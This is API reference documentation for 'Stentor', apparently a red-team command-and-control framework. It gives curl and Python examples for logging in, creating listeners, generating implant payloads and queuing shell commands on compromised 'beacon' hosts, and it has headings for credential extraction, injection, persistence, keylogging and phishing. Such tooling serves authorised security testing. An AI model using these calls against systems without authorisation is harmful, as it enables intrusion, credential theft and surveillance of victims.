REST API Reference¶

Complete documentation for the Stentor REST API: authentication, endpoint catalog, request/response schemas, error codes, and example requests using curl.

Introduction¶

The Stentor REST API provides programmatic access to all C2 operations. It follows standard REST conventions with JSON request and response bodies.

All protected endpoints require an Authorization header:

Authorization: Bearer <access_token>

Authentication¶

Stentor uses JWT (JSON Web Tokens) for authentication. Access tokens are short-lived and returned in the JSON response body. Refresh tokens are delivered via httpOnly secure cookies (never exposed to JavaScript).

Login¶

Authenticate with email and password to obtain an access token.

POST /api/v1/auth/login

Request Body:

Response Body:

A stentor_refresh httpOnly cookie is also set with the refresh token.

curl -s -X POST https://stentor.app/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "your-password"
  }'

{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "id": "550e8400-e29b-41d4-a716-446655440000",
    "email": "[email protected]",
    "role": "admin",
    "created_at": "2026-01-15T10:30:00Z"
  }
}

import requests

resp = requests.post("https://stentor.app/api/v1/auth/login", json={
    "email": "[email protected]",
    "password": "your-password"
})
token = resp.json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}

Error Responses:

Token Refresh¶

Exchange the refresh token (from httpOnly cookie) for a new access token. Implements token rotation -- each refresh issues a new refresh token and revokes the old one.

POST /api/v1/auth/refresh

No request body required. The refresh token is read from the stentor_refresh cookie.

Response Body:

A new stentor_refresh cookie is set with the rotated refresh token.

curl -s -X POST https://stentor.app/api/v1/auth/refresh \
  -b "stentor_refresh=<refresh_token>"

Error Responses:

Token Revocation (Logout)¶

Revoke the current refresh token and clear the cookie. This is the logout endpoint.

POST /api/v1/auth/revoke

No request body required. Reads and revokes the refresh token from the cookie.

curl -s -X POST https://stentor.app/api/v1/auth/revoke \
  -H "Authorization: Bearer $TOKEN" \
  -b "stentor_refresh=<refresh_token>"

Response (200 OK):

{"message": "logged out"}

WebSocket Ticket¶

Generate a short-lived opaque ticket for WebSocket authentication. Used by the frontend to establish authenticated WebSocket connections without exposing the JWT in query parameters.

POST /api/v1/auth/ws-ticket

Response Body:

curl -s -X POST https://stentor.app/api/v1/auth/ws-ticket \
  -H "Authorization: Bearer $TOKEN"

Register Operator¶

Create a new operator account. Admin-only -- requires an authenticated admin user.

POST /api/v1/auth/register

Request Body:

Response (201 Created):

curl -s -X POST https://stentor.app/api/v1/auth/register \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email": "[email protected]", "password": "securepassword123"}'

Error Responses:

Current User¶

Get the authenticated user's profile.

GET /api/v1/auth/me

Response Body:

curl -s https://stentor.app/api/v1/auth/me \
  -H "Authorization: Bearer $TOKEN"

Common Patterns¶

Error Response Format¶

All error responses follow a consistent format:

{"error": "description of what went wrong"}

Standard HTTP Status Codes:

Rate Limiting¶

Authentication endpoints (/auth/login, /auth/refresh) have strict rate limits to prevent brute-force attacks. All other protected endpoints have standard abuse-prevention limits. When rate limited, the API returns 429 Too Many Requests.

Health Check¶

Two health endpoints are available (no authentication required):

# Root health check
curl https://stentor.app/health

# Versioned health check (includes server identifier)
curl https://stentor.app/api/v1/health

Response:

{"status": "ok", "version": "3.0.0", "server": "stentor"}

Endpoint Reference¶

Listeners¶

Listeners are the C2 server endpoints that receive implant connections. Each listener runs on a relay agent and supports HTTP/HTTPS, DNS, SMB, or WireGuard transports.

List Listeners¶

GET /api/v1/listeners

Returns all configured listeners.

curl -s https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN"

Response (200 OK):

[
  {
    "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "status": "running"
  }
]

Create Listener¶

POST /api/v1/listeners

Request Body:

curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Response (201 Created):

{
  "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
  "name": "HTTPS Relay",
  "type": "https",
  "host": "10.0.0.50",
  "port": 8443,
  "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
  "status": "stopped"
}

Get Listener¶

GET /api/v1/listeners/:id

Update Listener¶

PUT /api/v1/listeners/:id

Uses the same request body as Create. Only provided fields are updated.

Delete Listener¶

DELETE /api/v1/listeners/:id

Listener Lifecycle¶

# Start a listener
curl -s -X POST "https://stentor.app/api/v1/listeners/$LISTENER_ID/start" \
  -H "Authorization: Bearer $TOKEN"

File Hosting¶

Additional Listener Endpoints¶

Relays¶

Relays are the Kali-based agents that run listeners and forward C2 traffic to the backend.

curl -s https://stentor.app/api/v1/relays \
  -H "Authorization: Bearer $TOKEN"

Response (200 OK):

[
  {
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Kali Relay",
    "description": "Primary Kali relay agent",
    "ip_address": "10.0.0.50",
    "status": "online"
  }
]

Payloads¶

Payloads are the implant binaries and shellcode generated for delivery to targets.

Generate Payload¶

POST /api/v1/payloads/generate

Request Body:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "format": "exe",
    "arch": "x64"
  }'

Beacons¶

Beacons are active implant sessions on compromised hosts. The beacon API provides management, task enqueueing, credential extraction, network enumeration, and post-exploitation capabilities.

List Beacons¶

GET /api/v1/c2/beacons

curl -s https://stentor.app/api/v1/c2/beacons \
  -H "Authorization: Bearer $TOKEN"

Response (200 OK):

[
  {
    "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "hostname": "WORKSTATION-01",
    "username": "CORP\\jsmith",
    "ip_internal": "192.168.1.50",
    "ip_external": "10.0.0.20",
    "os": "Windows 10 Pro 19045",
    "arch": "x64",
    "pid": 4832,
    "integrity": "Medium",
    "last_seen": "2026-02-19T14:05:30Z",
    "sleep": 5000,
    "jitter": 10
  }
]

Get Beacon¶

GET /api/v1/c2/beacons/:id

Delete Beacon¶

DELETE /api/v1/c2/beacons/:id

Update Beacon Note¶

PUT /api/v1/c2/beacons/:id/note

Request Body:

Update Beacon Tags¶

PUT /api/v1/c2/beacons/:id/tags

Request Body:

Enqueue Task¶

Send a command to a beacon. The task is queued and delivered on the next beacon check-in.

POST /api/v1/c2/beacons/:id/task

Request Body:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell", "args": {"command": "whoami"}}'

Response (200 OK):

{
  "task_id": "t-550e8400-e29b-41d4-a716-446655440000",
  "status": "queued"
}

Beacon State Management¶

Control beacon runtime behavior.

Set sleep example:

curl -s -X PUT "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/sleep" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"sleep": 5000, "jitter": 20}'

Token Operations¶

Manage Windows access tokens on the beacon host.

Credential Extraction¶

Extract credentials from the beacon host.

Network Enumeration¶

Discover network resources from the beacon host.

Registry Operations¶

Read and modify the Windows registry remotely.

Process Injection¶

Inject code into remote processes.

Persistence¶

Install and manage persistence mechanisms.

Beacon Variables¶

Server-side variables associated with a beacon (no task sent to the implant).

Beacon Highlights¶

Visual highlighting for beacons in the UI (shared across operators).

Sessions¶

Sessions track post-exploitation access to hosts, including credential associations.

Credentials¶

Standalone credential management (not tied to a specific session).

curl -s https://stentor.app/api/v1/credentials \
  -H "Authorization: Bearer $TOKEN"

Cockpit¶

The cockpit is the primary operator interface for interacting with beacons. It provides the shell, file operations, process management, pivoting, and more.

Shell and Command Execution¶

File Operations¶

Process Management¶

SOCKS Proxy¶

Port Forwarding¶

Browser Pivot¶

Covert VPN¶

Pivot Listeners¶

Beacon Operations¶

SSH Sessions¶

Full SSH session management through a beacon.

SSH Chunked Downloads:

SSH Reverse Port Forwards:

SSH SOCKS Proxy:

SSH P2P (Peer-to-Peer):

SSH Pivot Listeners:

PowerShell Operations¶

BOF Library¶

Manage and execute Beacon Object Files (BOFs).

Argument Spoofing¶

Postex Kit¶

Topology, Machines, and Playbooks¶

LDAP Queries¶

Windows Error Lookup¶

Profiles¶

Malleable C2 profiles define how implant traffic looks on the wire.

# Lint a profile before saving
curl -s -X POST https://stentor.app/api/v1/profiles/lint \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"content": "http-get { set uri \"/updates\"; ... }"}'

Certificates¶

Code-signing certificates for payload signing.

Phishing¶

Spear phishing campaign management.

Scripts¶

CNA (Aggressor Script) management and REPL console.

Extensions¶

Armory-style extension management (BOF packs, third-party tools).

C2 Campaigns¶

Operational campaign management for organizing beacons, listeners, and engagement tracking.

Targets¶

Discovered hosts on the network.

Services¶

Discovered network services (ports, protocols).

Downloads¶

Centralized download history for files retrieved from beacons.

Keystrokes¶

Aggregated keylogger results across all beacons.

Screenshots¶

Aggregated screenshot results across all beacons.

Cloned Sites¶

Site cloning for phishing and payload delivery.

System Profiler¶

Target reconnaissance via browser profiling.

Kits¶

Artifact Kit, Resource Kit, and Sleep Mask Kit template management.

Guacamole (VM Access)¶

Apache Guacamole integration for remote desktop access to lab VMs.

Operator Preferences¶

Per-operator settings with JSONB storage.

Audit Trail¶

Audit log for operator actions (admin only for listing).

Stats¶

Sidebar aggregation counts.

Admin¶

Administrative data management endpoints.

C2 Profiles (Legacy)¶

File-based C2 profile listing (used by payload generation wizard).

C2 Protocol Endpoints¶

Relay WebSocket¶

The relay connects to the backend via WebSocket for real-time C2 forwarding.

This endpoint is not called by operators. See the WebSocket Protocol page for the operator-facing CockpitHub WebSocket.